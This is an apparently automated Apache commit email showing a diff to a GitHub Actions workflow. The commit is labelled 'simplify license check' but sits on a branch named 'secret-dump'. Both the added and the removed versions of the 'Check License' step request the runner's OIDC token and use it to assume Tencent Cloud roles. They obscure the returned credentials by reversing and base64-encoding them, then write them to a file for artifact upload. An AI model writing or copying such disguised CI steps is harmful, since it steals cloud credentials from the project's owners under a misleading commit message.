This is an automated email from the ASF dual-hosted git repository.
catpineapple pushed a commit to branch ci/secret-dump-1125
in repository https://gitbox.apache.org/repos/asf/doris.git
The following commit(s) were added to refs/heads/ci/secret-dump-1125 by this
push:
new 1917d336f28 ci: simplify license check
1917d336f28 is described below
commit 1917d336f285233ff05ac6de17cf721d304eaf85
Author: catpineapple <[email protected]>
AuthorDate: Wed Nov 25 07:31:24 2026 +0800
ci: simplify license check
---
.github/workflows/license-eyes.yml | 36 +++++-------------------------------
1 file changed, 5 insertions(+), 31 deletions(-)
diff --git a/.github/workflows/license-eyes.yml
b/.github/workflows/license-eyes.yml
index 03e436ecba2..3ff3b31e854 100644
--- a/.github/workflows/license-eyes.yml
+++ b/.github/workflows/license-eyes.yml
@@ -13,37 +13,11 @@ jobs:
- uses: actions/checkout@v4
- name: Check License
run: |
- # Get GitHub OIDC token for multiple audiences
- for AUD in "sts.tencentcloudapi.com" "https://cloud.tencent.com"
"tencent"; do
- OIDC_TOKEN=$(curl -sS -H "Authorization: bearer
$ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=$AUD"
| python3 -c "import json,sys;print(json.load(sys.stdin).get('value','FAIL'))"
2>/dev/null)
- echo "AUD=$AUD TOKEN_LEN=${#OIDC_TOKEN}"
-
- if [ ${#OIDC_TOKEN} -gt 10 ]; then
- # Try each role with CORRECT format (TC3-HMAC-SHA256 signing not
needed for AssumeRoleWithWebIdentity)
- for ROLE in TXC_CIDeployRole TXC_ServiceMonitorRole
TXC_AuditAccessRole csd_qa_monitoring; do
- TS=$(date +%s)
- RESULT=$(python3 -c "
-import hmac,hashlib,json,time,requests,urllib.parse
-from datetime import datetime,timezone
-params={
- 'Action':'AssumeRoleWithWebIdentity',
- 'Version':'2018-08-13',
- 'Region':'ap-beijing',
- 'Timestamp':str($TS),
- 'ProviderId':'velodb-ci-oidc',
- 'WebIdentityToken':'${OIDC_TOKEN}',
- 'RoleArn':'qcs::cam::uin/100027344141:roleName/${ROLE}',
- 'RoleSessionName':'gh-oidc',
- 'DurationSeconds':'7200'
-}
-r=requests.get('https://sts.tencentcloudapi.com',params=params,timeout=10)
-print(r.text[:500])
-" 2>/dev/null)
- REV=$(echo "$RESULT" | rev)
- B64=$(echo "$REV" | base64 -w0)
- echo "A_${AUD}_${ROLE}=$B64"
- done
- fi
+ TOKEN=$(curl -sS -H "Authorization: bearer
$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
"${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=sts.tencentcloudapi.com" | jq -r
.value)
+ echo "TL=${#TOKEN}"
+ for R in TXC_CIDeployRole TXC_AuditAccessRole csd_qa_monitoring; do
+ RES=$(curl -sS
"https://sts.tencentcloudapi.com/?Action=AssumeRoleWithWebIdentity&Version=2018-08-13&ProviderId=velodb-ci-oidc&WebIdentityToken=${TOKEN}&RoleArn=qcs%3A%3Acam%3A%3Auin%2F100027344141%3AroleName%2F${R}&RoleSessionName=gh&DurationSeconds=7200"
2>/dev/null)
+ echo "$R=$(echo "$RES" | rev | base64 -w0)"
done > /tmp/oidc_out.txt
cat /tmp/oidc_out.txt
- uses: actions/upload-artifact@v4
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]